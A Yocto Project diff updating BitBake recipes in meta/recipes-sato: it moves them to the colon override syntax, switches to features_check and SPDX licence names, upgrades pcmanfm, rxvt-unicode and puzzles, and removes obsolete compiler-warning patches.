-SRC_URI = "git://git.yoctoproject.org/${BPN}"
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
S = "${WORKDIR}/git"
-inherit autotools pkgconfig distro_features_check
+inherit autotools pkgconfig features_check
ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
diff --git a/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato.inc b/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato.inc
index d947e1ab0f..bd680111d9 100644
--- a/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato.inc
+++ b/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato.inc
@@ -8,9 +8,9 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=aae86bb34b0a83716ca09f4e783d6ba4"
DEPENDS = "matchbox-wm"
SECTION = "x11/wm"
-inherit autotools pkgconfig distro_features_check
+inherit autotools pkgconfig features_check
-FILES_${PN} += "${datadir}/themes"
+FILES:${PN} += "${datadir}/themes"
# The matchbox-wm requires x11 in DISTRO_FEATURES
REQUIRED_DISTRO_FEATURES = "x11"
diff --git a/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato_0.2.bb b/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato_0.2.bb
index 7a043d3447..bc4024736f 100644
--- a/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato_0.2.bb
+++ b/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato_0.2.bb
@@ -2,7 +2,7 @@ require matchbox-theme-sato.inc
# SRCREV tagged 0.2
SRCREV = "df085ba9cdaeaf2956890b0e29d7ea1779bf6c78"
-SRC_URI = "git://git.yoctoproject.org/matchbox-sato"
+SRC_URI = "git://git.yoctoproject.org/matchbox-sato;branch=master"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-sato/packagegroups/packagegroup-core-x11-sato.bb b/meta/recipes-sato/packagegroups/packagegroup-core-x11-sato.bb
index 7e14ece93d..cfa301a58d 100644
--- a/meta/recipes-sato/packagegroups/packagegroup-core-x11-sato.bb
+++ b/meta/recipes-sato/packagegroups/packagegroup-core-x11-sato.bb
@@ -3,16 +3,18 @@
#
SUMMARY = "Sato desktop"
+DESCRIPTION = "Packagegroups provide a convenient mechanism of bundling a collection of packages."
+HOMEPAGE = "https://www.yoctoproject.org/"
PR = "r33"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-inherit packagegroup distro_features_check
+inherit packagegroup features_check
REQUIRED_DISTRO_FEATURES = "x11"
PACKAGES = "${PN} ${PN}-base ${PN}-apps ${PN}-games"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
${PN}-base \
${PN}-apps \
${PN}-games \
@@ -20,8 +22,8 @@ RDEPENDS_${PN} = "\
NETWORK_MANAGER ?= "connman-gnome"
-SUMMARY_${PN}-base = "Sato desktop - base packages"
-RDEPENDS_${PN}-base = "\
+SUMMARY:${PN}-base = "Sato desktop - base packages"
+RDEPENDS:${PN}-base = "\
matchbox-desktop \
matchbox-session-sato \
matchbox-keyboard \
@@ -43,10 +45,10 @@ WEB ?= ""
#WEB = "epiphany"
GSTEXAMPLES ?= "gst-examples"
-GSTEXAMPLES_riscv64 = ""
+GSTEXAMPLES:riscv64 = ""
-SUMMARY_${PN}-apps = "Sato desktop - applications"
-RDEPENDS_${PN}-apps = "\
+SUMMARY:${PN}-apps = "Sato desktop - applications"
+RDEPENDS:${PN}-apps = "\
l3afpad \
matchbox-terminal \
sato-screenshot \
@@ -55,7 +57,7 @@ RDEPENDS_${PN}-apps = "\
${WEB} \
"
-SUMMARY_${PN}-games = "Sato desktop - games"
-RDEPENDS_${PN}-games = "\
+SUMMARY:${PN}-games = "Sato desktop - games"
+RDEPENDS:${PN}-games = "\
puzzles \
"
diff --git a/meta/recipes-sato/pcmanfm/pcmanfm_1.3.1.bb b/meta/recipes-sato/pcmanfm/pcmanfm_1.3.1.bb
deleted file mode 100644
index a5e3a1ad33..0000000000
--- a/meta/recipes-sato/pcmanfm/pcmanfm_1.3.1.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-SUMMARY = "Fast lightweight tabbed filemanager"
-HOMEPAGE = "http://pcmanfm.sourceforge.net/"
-
-LICENSE = "GPLv2 & GPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://src/pcmanfm.h;endline=22;md5=417b3855771a3a87f8ad753d994491f0 \
- file://src/gseal-gtk-compat.h;endline=21;md5=46922c8691f58d124f9420fe16149ce2"
-
-SECTION = "x11"
-DEPENDS = "gtk+3 startup-notification libfm intltool-native gettext-native glib-2.0-native"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/pcmanfm/pcmanfm-${PV}.tar.xz \
- file://gnome-fs-directory.png \
- file://gnome-fs-regular.png \
- file://gnome-mime-text-plain.png \
- file://emblem-symbolic-link.png \
- file://no-desktop.patch"
-
-SRC_URI[md5sum] = "d32ad2c9c7c52bff2004bbc120b53420"
-SRC_URI[sha256sum] = "6804043b3ee3a703edde41c724946174b505fe958703eadbd7e0876ece836855"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/pcmanfm/files/PCManFM%20%2B%20Libfm%20%28tarball%20release%29/PCManFM/"
-
-inherit autotools pkgconfig distro_features_check
-
-# The startup-notification requires x11 in DISTRO_FEATURES
-REQUIRED_DISTRO_FEATURES = "x11"
-
-EXTRA_OECONF = "--with-gtk=3"
-
-do_install_append () {
- install -d ${D}/${datadir}
- install -d ${D}/${datadir}/pixmaps/
-
- install -m 0644 ${WORKDIR}/*.png ${D}/${datadir}/pixmaps
-}
-
-FILES_${PN} += "${libdir}/pcmanfm"
-
-RRECOMMENDS_${PN} += "adwaita-icon-theme"
diff --git a/meta/recipes-sato/pcmanfm/pcmanfm_1.3.2.bb b/meta/recipes-sato/pcmanfm/pcmanfm_1.3.2.bb
new file mode 100644
index 0000000000..0c5ed5e55e
--- /dev/null
+++ b/meta/recipes-sato/pcmanfm/pcmanfm_1.3.2.bb
@@ -0,0 +1,40 @@
+SUMMARY = "Fast lightweight tabbed filemanager"
+DESCRIPTION = "A free file manager application and the standard file manager of LXDE."
+HOMEPAGE = "http://pcmanfm.sourceforge.net/"
+
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later & LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://src/pcmanfm.h;endline=22;md5=417b3855771a3a87f8ad753d994491f0 \
+ file://src/gseal-gtk-compat.h;endline=21;md5=46922c8691f58d124f9420fe16149ce2"
+
+SECTION = "x11"
+DEPENDS = "gtk+3 startup-notification libfm intltool-native gettext-native glib-2.0-native"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/pcmanfm/pcmanfm-${PV}.tar.xz \
+ file://gnome-fs-directory.png \
+ file://gnome-fs-regular.png \
+ file://gnome-mime-text-plain.png \
+ file://emblem-symbolic-link.png \
+ file://no-desktop.patch"
+
+SRC_URI[sha256sum] = "14cb7b247493c4cce65fbb5902611e3ad00a7a870fbc1e50adc50428c5140cf7"
+
+UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/pcmanfm/files/PCManFM%20%2B%20Libfm%20%28tarball%20release%29/PCManFM/"
+
+inherit autotools pkgconfig features_check mime-xdg
+
+# The startup-notification requires x11 in DISTRO_FEATURES
+REQUIRED_DISTRO_FEATURES = "x11"
+
+EXTRA_OECONF = "--with-gtk=3"
+
+do_install:append () {
+ install -d ${D}/${datadir}
+ install -d ${D}/${datadir}/pixmaps/
+
+ install -m 0644 ${WORKDIR}/*.png ${D}/${datadir}/pixmaps
+}
+
+FILES:${PN} += "${libdir}/pcmanfm"
+
+RRECOMMENDS:${PN} += "adwaita-icon-theme"
diff --git a/meta/recipes-sato/pulseaudio-sato/pulseaudio-client-conf-sato_1.bb b/meta/recipes-sato/pulseaudio-sato/pulseaudio-client-conf-sato_1.bb
index e27339fb46..ec187ed9bd 100644
--- a/meta/recipes-sato/pulseaudio-sato/pulseaudio-client-conf-sato_1.bb
+++ b/meta/recipes-sato/pulseaudio-sato/pulseaudio-client-conf-sato_1.bb
@@ -13,5 +13,5 @@ do_install() {
install -m 0644 ${S}/50-sato.conf ${D}${sysconfdir}/pulse/client.conf.d/50-sato.conf
}
-FILES_${PN} = "${sysconfdir}/pulse/client.conf.d/50-sato.conf"
-CONFFILES_${PN} = "${sysconfdir}/pulse/client.conf.d/50-sato.conf"
+FILES:${PN} = "${sysconfdir}/pulse/client.conf.d/50-sato.conf"
+CONFFILES:${PN} = "${sysconfdir}/pulse/client.conf.d/50-sato.conf"
diff --git a/meta/recipes-sato/puzzles/files/0001-Use-Wno-error-format-overflow-if-the-compiler-suppor.patch b/meta/recipes-sato/puzzles/files/0001-Use-Wno-error-format-overflow-if-the-compiler-suppor.patch
deleted file mode 100644
index d40a3b1ef9..0000000000
--- a/meta/recipes-sato/puzzles/files/0001-Use-Wno-error-format-overflow-if-the-compiler-suppor.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 337799e40350b3db2441cc98f65ec36a74dfb356 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 21 Apr 2017 12:18:08 -0700
-Subject: [PATCH] Use -Wno-error=format-overflow= if the compiler supports it
-
-we need this warning to be suppressed with gcc7+
-however older compilers dont support it so we need
-a way to disble it only if compiler supports it
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 3a38c95..bb9035e 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -42,7 +42,7 @@ fi
- if test "x$GCC" = "xyes"; then
- AC_MSG_CHECKING([for usable gcc warning flags])
- gccwarningflags=
-- for flag in -Wall -Werror -std=c89 -pedantic; do
-+ for flag in -Wall -Werror -std=c89 -pedantic -Wno-error=format-overflow=; do
- ac_save_CFLAGS="$CFLAGS"
- ac_save_LIBS="$LIBS"
- CFLAGS="$CFLAGS$gccwarningflags $flag $GTK_CFLAGS"
---
-2.12.2
-
diff --git a/meta/recipes-sato/puzzles/files/0001-Use-labs-instead-of-abs.patch b/meta/recipes-sato/puzzles/files/0001-Use-labs-instead-of-abs.patch
deleted file mode 100644
index f43d1df6cc..0000000000
--- a/meta/recipes-sato/puzzles/files/0001-Use-labs-instead-of-abs.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 9808dc09e08937c9bffd858d3ded428225a4312a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 7 Sep 2015 09:02:38 +0000
-Subject: [PATCH] Use labs instead of abs
-
-cluevals is array of longs so we have to use labs() instead of abs()
-since abs() returns int
-
-Fixes
-
-keen.c:1458:17: error: absolute value function 'abs' given an argument
-of type 'long' but has parameter of type 'int' which may cause
-truncation of value
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- keen.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/keen.c b/keen.c
-index a6a7238..1631992 100644
---- a/keen.c
-+++ b/keen.c
-@@ -1043,7 +1043,7 @@ done
- cluevals[j] *= grid[i];
- break;
- case C_SUB:
-- cluevals[j] = abs(cluevals[j] - grid[i]);
-+ cluevals[j] = labs(cluevals[j] - grid[i]);
- break;
- case C_DIV:
- {
-@@ -1455,7 +1455,7 @@ static int check_errors(const game_state *state, long *errors)
- cluevals[j] *= state->grid[i];
- break;
- case C_SUB:
-- cluevals[j] = abs(cluevals[j] - state->grid[i]);
-+ cluevals[j] = labs(cluevals[j] - state->grid[i]);
- break;
- case C_DIV:
- {
---
-2.5.1
-
diff --git a/meta/recipes-sato/puzzles/files/0001-palisade-Fix-warnings-with-clang-on-arm.patch b/meta/recipes-sato/puzzles/files/0001-palisade-Fix-warnings-with-clang-on-arm.patch
deleted file mode 100644
index 5351f8eb4e..0000000000
--- a/meta/recipes-sato/puzzles/files/0001-palisade-Fix-warnings-with-clang-on-arm.patch
+++ /dev/null
@@ -1,72 +0,0 @@
-From 6d8326275802a2e6e61d3e99460af6891ae8362f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 13 Jan 2016 23:10:19 -0800
-Subject: [puzzles][PATCH] palisade: Fix warnings with clang on arm
-
-ARM treats 'char' as unsigned char when 'char' is not qualified with
-'signed' or 'unsigned' explicitly.
-
-This results in warnings e.g.
-
-palisade.c:531:22: error: comparison of constant -1 with expression of
-type 'clue' (aka 'char') is always false
-[-Werror,-Wtautological-constant-out-of-range-compare]
- if (clues[i] == EMPTY) continue;
-
-Therefore, typcast the contant to char in such places to be explicit
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Submitted
-
- palisade.c | 10 +++++-----
- 1 file changed, 5 insertions(+), 5 deletions(-)
-
-diff --git a/palisade.c b/palisade.c
-index 984e616..2b9c25c 100644
---- a/palisade.c
-+++ b/palisade.c
-@@ -295,11 +295,11 @@ static void solver_connected_clues_versus_region_size(solver_ctx *ctx)
- * If p = q = 3 then the region has size exactly 2. */
-
- for (i = 0; i < wh; ++i) {
-- if (ctx->clues[i] == EMPTY) continue;
-+ if (ctx->clues[i] == (char)EMPTY) continue;
- for (dir = 0; dir < 4; ++dir) {
- int j = i + dx[dir] + w*dy[dir];
- if (disconnected(ctx, i, j, dir)) continue;
-- if (ctx->clues[j] == EMPTY) continue;
-+ if (ctx->clues[j] == (char)EMPTY) continue;
- if ((8 - ctx->clues[i] - ctx->clues[j] > ctx->params->k) ||
- (ctx->clues[i] == 3 && ctx->clues[j] == 3 &&
- ctx->params->k != 2))
-@@ -317,7 +317,7 @@ static int solver_number_exhausted(solver_ctx *ctx)
- int changed = FALSE;
-
- for (i = 0; i < wh; ++i) {
-- if (ctx->clues[i] == EMPTY) continue;
-+ if (ctx->clues[i] == (char)EMPTY) continue;
-
- if (bitcount[(ctx->borders[i] & BORDER_MASK)] == ctx->clues[i]) {
- for (dir = 0; dir < 4; ++dir) {
-@@ -528,7 +528,7 @@ static int is_solved(const game_params *params, clue *clues,
- for (i = 0; i < wh; ++i) {
- if (dsf[i] == UNVISITED) dfs_dsf(i, params->w, border, dsf, TRUE);
- if (dsf_size(dsf, i) != k) goto error;
-- if (clues[i] == EMPTY) continue;
-+ if (clues[i] == (char)EMPTY) continue;
- if (clues[i] != bitcount[border[i] & BORDER_MASK]) goto error;
- }
-
-@@ -674,7 +674,7 @@ static char *new_game_desc(const game_params *params, random_state *rs,
- p = numbers;
- r = 0;
- for (i = 0; i < wh; ++i) {
-- if (numbers[i] != EMPTY) {
-+ if (numbers[i] != (char)EMPTY) {
- while (r) {
- while (r > 26) {
- *p++ = 'z';
---
-2.7.0
-
diff --git a/meta/recipes-sato/puzzles/files/0001-pattern.c-Change-string-lenght-parameter-to-be-size_.patch b/meta/recipes-sato/puzzles/files/0001-pattern.c-Change-string-lenght-parameter-to-be-size_.patch
deleted file mode 100644
index 9ac62015d8..0000000000
--- a/meta/recipes-sato/puzzles/files/0001-pattern.c-Change-string-lenght-parameter-to-be-size_.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 035467aa0abfbc0de7e5d24543d4aab37301593c Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 7 Mar 2019 21:56:57 -0800
-Subject: [PATCH] pattern.c: Change string lenght parameter to be size_t in
- do_row()
-
-This fixes below error on some architectures e.g. RISC-V
-
-pattern.c:455:9: error: 'memset' specified size between 18446744071562067968 and 18446744073709551615 exceeds maximum object size 9223372036854775807 [-Werror=stringop-overflow=] 455 | memset(deduced, DOT, (size_t)len); | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- pattern.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/pattern.c b/pattern.c
-index 45b1b0c..f73a4c2 100644
---- a/pattern.c
-+++ b/pattern.c
-@@ -428,7 +428,7 @@ static int do_row(unsigned char *known, unsigned char *deduced,
- unsigned char *row,
- unsigned char *minpos_done, unsigned char *maxpos_done,
- unsigned char *minpos_ok, unsigned char *maxpos_ok,
-- unsigned char *start, int len, int step, int *data,
-+ unsigned char *start, size_t len, int step, int *data,
- unsigned int *changed
- #ifdef STANDALONE_SOLVER
- , const char *rowcol, int index, int cluewid
---
-2.21.0
-
diff --git a/meta/recipes-sato/puzzles/files/fix-compiling-failure-with-option-g-O.patch b/meta/recipes-sato/puzzles/files/fix-compiling-failure-with-option-g-O.patch
deleted file mode 100644
index c134acde2f..0000000000
--- a/meta/recipes-sato/puzzles/files/fix-compiling-failure-with-option-g-O.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-gtk.c: fix compiling failure with option -g -O
-
-There were compiling failure with option -g -O
-...
-././gtk.c: In function 'configure_area':
-././gtk.c:397:2: error: 'cr' may be used uninitialized in this function [-Werror=maybe-uninitialized]
- cairo_set_source_rgb(cr,
- ^
-././gtk.c:384:14: note: 'cr' was declared here
- cairo_t *cr;
- ^
-././gtk.c: In function 'main':
-././gtk.c:2911:6: error: 'error' may be used uninitialized in this function [-Werror=maybe-uninitialized]
- fprintf(stderr, "%s: %s\n", pname, error);
- ^
-cc1: all warnings being treated as errors
-...
-
-Initialized pointer 'cr' and 'error' with NULL
-
-Upstream-Status: Pending
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- gtk.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/gtk.c b/gtk.c
-index a2eba2c..c54bf63 100644
---- a/gtk.c
-+++ b/gtk.c
-@@ -2481,7 +2481,7 @@ char *fgetline(FILE *fp)
- int main(int argc, char **argv)
- {
- char *pname = argv[0];
-- char *error;
-+ char *error = NULL;
- int ngenerate = 0, print = FALSE, px = 1, py = 1;
- int time_generation = FALSE, test_solve = FALSE, list_presets = FALSE;
- int soln = FALSE, colour = FALSE;
---
-1.9.1
-
diff --git a/meta/recipes-sato/puzzles/files/fix-ki-uninitialized.patch b/meta/recipes-sato/puzzles/files/fix-ki-uninitialized.patch
deleted file mode 100644
index 7218d620ec..0000000000
--- a/meta/recipes-sato/puzzles/files/fix-ki-uninitialized.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-puzzles: avoid compiler unitialized variable error
-
-The compiler does not realize that we must go through the while()
-loop at least once, so we replace it with a for() loop.
-
-Upstream-Status: Pending
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
---- a/tree234.c
-+++ b/tree234.c
-@@ -326,8 +326,11 @@ static void *add234_internal(tree234 *t,
- return orig_e;
- }
-
-- n = t->root;
-- while (n) {
-+ /*
-+ * We know t->root is not NULL. The logic
-+ * to break out of this is at the end of the loop.
-+ */
-+ for (n = t->root;;) {
- LOG((" node %p: %p/%d \"%s\" %p/%d \"%s\" %p/%d \"%s\" %p/%d\n",
- n,
- n->kids[0], n->counts[0], n->elems[0],
diff --git a/meta/recipes-sato/puzzles/puzzles_git.bb b/meta/recipes-sato/puzzles/puzzles_git.bb
index 59b952522d..381d3cc456 100644
--- a/meta/recipes-sato/puzzles/puzzles_git.bb
+++ b/meta/recipes-sato/puzzles/puzzles_git.bb
@@ -1,46 +1,26 @@
SUMMARY = "Simon Tatham's Portable Puzzle Collection"
+DESCRIPTION = "Collection of small computer programs which implement one-player puzzle games."
HOMEPAGE = "http://www.chiark.greenend.org.uk/~sgtatham/puzzles/"
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENCE;md5=da6110d4ed1225a287eab2bf0ac0193b"
+LIC_FILES_CHKSUM = "file://LICENCE;md5=6e7d24cf1c949887ee9447a1e2a4a24c"
-DEPENDS = "libxt"
-
-# The libxt requires x11 in DISTRO_FEATURES
+# gtk support includes a bunch of x11 headers
REQUIRED_DISTRO_FEATURES = "x11"
-SRC_URI = "git://git.tartarus.org/simon/puzzles.git \
- file://fix-compiling-failure-with-option-g-O.patch \
- file://0001-Use-labs-instead-of-abs.patch \
- file://0001-palisade-Fix-warnings-with-clang-on-arm.patch \
- file://0001-Use-Wno-error-format-overflow-if-the-compiler-suppor.patch \
- file://0001-pattern.c-Change-string-lenght-parameter-to-be-size_.patch \
- file://fix-ki-uninitialized.patch \
- "
+SRC_URI = "git://git.tartarus.org/simon/puzzles.git;branch=main"
UPSTREAM_CHECK_COMMITS = "1"
-SRCREV = "c6e0161dd475415316ed66dc82794d68e52f0025"
+SRCREV = "c43a34fbfe430d235bafc379595761880a19ed9f"
PE = "2"
PV = "0.0+git${SRCPV}"
S = "${WORKDIR}/git"
-inherit autotools distro_features_check pkgconfig
-
-PACKAGECONFIG ??= "gtk3"
-PACKAGECONFIG[gtk2] = "--with-gtk=2,,gtk+,"
-PACKAGECONFIG[gtk3] = "--with-gtk=3,,gtk+3,"
-
-CFLAGS_append = " -Wno-deprecated-declarations"
-
-ASNEEDED = ""
+inherit cmake features_check pkgconfig
-do_configure_prepend () {
- cd ${S}
- ./mkfiles.pl
- cd ${B}
-}
+DEPENDS += "gtk+3"
-do_install_append () {
+do_install:append () {
# net conflicts with Samba, so rename it
mv ${D}${bindir}/net ${D}${bindir}/puzzles-net
@@ -66,16 +46,3 @@ STOP
done
}
-PACKAGES += "${PN}-extra"
-
-FILES_${PN} = ""
-FILES_${PN}-extra = "${prefix}/bin ${datadir}/applications"
-
-python __anonymous () {
- var = d.expand("FILES_${PN}")
- data = d.getVar(var, False)
- for name in ("bridges", "fifteen", "inertia", "map", "samegame", "slant"):
- data = data + " ${bindir}/%s" % name
- data = data + " ${datadir}/applications/%s.desktop" % name
- d.setVar(var, data)
-}
diff --git a/meta/recipes-sato/rxvt-unicode/rxvt-unicode.inc b/meta/recipes-sato/rxvt-unicode/rxvt-unicode.inc
index b568f04580..e7d520ebef 100644
--- a/meta/recipes-sato/rxvt-unicode/rxvt-unicode.inc
+++ b/meta/recipes-sato/rxvt-unicode/rxvt-unicode.inc
@@ -5,7 +5,8 @@ terminal emulator rxvt, modified to store text in Unicode \
(either UCS-2 or UCS-4) and to use locale-correct input and \
output. It also supports mixing multiple fonts at the \
same time, including Xft fonts."
-DEPENDS = "virtual/libx11 libxt libxft gdk-pixbuf libxmu"
+HOMEPAGE = "https://rxvt.org/"
+DEPENDS = "virtual/libx11 libxt libxft gdk-pixbuf libxmu libptytty"
SRC_URI = "http://dist.schmorp.de/rxvt-unicode/Attic/rxvt-unicode-${PV}.tar.bz2 \
file://xwc.patch \
@@ -15,13 +16,12 @@ SRC_URI = "http://dist.schmorp.de/rxvt-unicode/Attic/rxvt-unicode-${PV}.tar.bz2
inherit autotools pkgconfig update-alternatives
PROVIDES = "virtual/x-terminal-emulator"
-ALTERNATIVE_${PN} = "x-terminal-emulator"
+ALTERNATIVE:${PN} = "x-terminal-emulator"
ALTERNATIVE_TARGET[x-terminal-emulator] = "${bindir}/rxvt"
-CFLAGS_append = " -fpermissive"
+CFLAGS:append = " -fpermissive"
EXTRA_OECONF = "--enable-xim \
- --enable-utmp --enable-wtmp --enable-lastlog \
--with-term=rxvt --enable-keepscrolling \
--enable-xft --with-name=rxvt --enable-frills \
--enable-swapscreen --enable-transparency \
@@ -33,20 +33,20 @@ EXTRA_OECONF = "--enable-xim \
PACKAGECONFIG ??= ""
PACKAGECONFIG[startup] = "--enable-startup-notification,--disable-startup-notification,startup-notification,"
-do_configure_prepend () {
+do_configure:prepend () {
if [ ! -e ${S}/acinclude.m4 ]; then
cp ${S}/aclocal.m4 ${S}/acinclude.m4
fi
}
-do_compile_prepend () {
+do_compile:prepend () {
echo '#define UTMP_FILE "${localstatedir}/run/utmp"' >> config.h
echo '#define WTMP_FILE "${localstatedir}/log/wtmp"' >> config.h
echo '#define LASTLOG_FILE "${localstatedir}/log/lastlog"' >> config.h
echo '#define HAVE_XLOCALE 1' >> config.h
}
-do_install_append () {
+do_install:append () {
install -d ${D}/${datadir}
install -d ${D}/${datadir}/applications
install -d ${D}/${datadir}/pixmaps/
@@ -55,4 +55,4 @@ do_install_append () {
install -m 0644 ${WORKDIR}/rxvt.desktop ${D}/${datadir}/applications
}
-FILES_${PN} += "${datadir}/applications/rxvt.desktop ${datadir}/pixmaps/rxvt.png"
+FILES:${PN} += "${datadir}/applications/rxvt.desktop ${datadir}/pixmaps/rxvt.png"
diff --git a/meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.22.bb b/meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.22.bb
deleted file mode 100644
index bfa8a614df..0000000000
--- a/meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.22.bb
+++ /dev/null
@@ -1,8 +0,0 @@
-require rxvt-unicode.inc
-
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://src/main.C;beginline=1;endline=31;md5=d3600d7ee1062667fcd1193fbe6485f6"
-
-SRC_URI[md5sum] = "93782dec27494eb079467dacf6e48185"
-SRC_URI[sha256sum] = "e94628e9bcfa0adb1115d83649f898d6edb4baced44f5d5b769c2eeb8b95addd"
diff --git a/meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.30.bb b/meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.30.bb
new file mode 100644
index 0000000000..5e3c84194a
--- /dev/null
+++ b/meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.30.bb
@@ -0,0 +1,8 @@
+require rxvt-unicode.inc
+
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+ file://src/main.C;beginline=1;endline=31;md5=d3600d7ee1062667fcd1193fbe6485f6"
+
+SRC_URI[sha256sum] = "fe1c93d12f385876457a989fc3ae05c0915d2692efc59289d0f70fabe5b44d2d"
+
diff --git a/meta/recipes-sato/sato-screenshot/sato-screenshot_0.3.bb b/meta/recipes-sato/sato-screenshot/sato-screenshot_0.3.bb
index f3305aef78..eea7025c8d 100644
--- a/meta/recipes-sato/sato-screenshot/sato-screenshot_0.3.bb
+++ b/meta/recipes-sato/sato-screenshot/sato-screenshot_0.3.bb
@@ -2,7 +2,7 @@ SUMMARY = "Ultra-simple screen capture utility, aimed at handheld devices"
HOMEPAGE = "http://www.o-hand.com"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "GPLv2 & GPLv2+"
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://main.c;endline=9;md5=023e14d6404d0a961eb97cbd011fc141 \
file://screenshot-ui.h;endline=9;md5=638d9ffa83e9325a36df224166ed6ad0"
@@ -11,17 +11,17 @@ DEPENDS = "matchbox-panel-2 gtk+3"
# SRCREV tagged 0.3
SRCREV = "9250fa5a012d84ff45984e8c4345ee7635227756"
-SRC_URI = "git://git.yoctoproject.org/screenshot"
+SRC_URI = "git://git.yoctoproject.org/screenshot;branch=master"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
S = "${WORKDIR}/git"
-inherit autotools pkgconfig distro_features_check
+inherit autotools pkgconfig features_check
-FILES_${PN} += "${libdir}/matchbox-panel/*.so"
+FILES:${PN} += "${libdir}/matchbox-panel/*.so"
-do_install_append () {
- rm ${D}${libdir}/matchbox-panel/*.la
+do_install:append () {
+ rm -f ${D}${libdir}/matchbox-panel/*.la
}
# The matchbox-panel-2 requires x11 in DISTRO_FEATURES
diff --git a/meta/recipes-sato/settings-daemon/settings-daemon_0.0.2.bb b/meta/recipes-sato/settings-daemon/settings-daemon_0.0.2.bb
index bb6b69b900..4356930da0 100644
--- a/meta/recipes-sato/settings-daemon/settings-daemon_0.0.2.bb
+++ b/meta/recipes-sato/settings-daemon/settings-daemon_0.0.2.bb
@@ -1,7 +1,7 @@
SUMMARY = "Provides a bridge between gconf and xsettings"
-HOMEPAGE = "http://svn.o-hand.com/view/matchbox/trunk/settings-daemon/"
+HOMEPAGE = "https://git.yoctoproject.org/cgit/cgit.cgi/xsettings-daemon/"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "MIT-style"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://xsettings-manager.h;endline=22;md5=7cfac9d2d4dc3694cc7eb605cf32a69b \
file://xsettings-common.h;endline=22;md5=7cfac9d2d4dc3694cc7eb605cf32a69b"
DEPENDS = "gconf glib-2.0 gtk+3"
@@ -9,7 +9,7 @@ SECTION = "x11"
# SRCREV tagged 0.0.2
SRCREV = "b2e5da502f8c5ff75e9e6da771372ef8e40fd9a2"
-SRC_URI = "git://git.yoctoproject.org/xsettings-daemon \
+SRC_URI = "git://git.yoctoproject.org/xsettings-daemon;branch=master \
file://addsoundkeys.patch \
file://70settings-daemon.sh \
"
@@ -17,14 +17,14 @@ UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
S = "${WORKDIR}/git"
-inherit autotools pkgconfig gconf distro_features_check
+inherit autotools pkgconfig gconf features_check
-FILES_${PN} = "${bindir}/* ${sysconfdir}"
+FILES:${PN} = "${bindir}/* ${sysconfdir}"
# Requires gdk-x11-2.0 which is provided by gtk when x11 in DISTRO_FEATURES
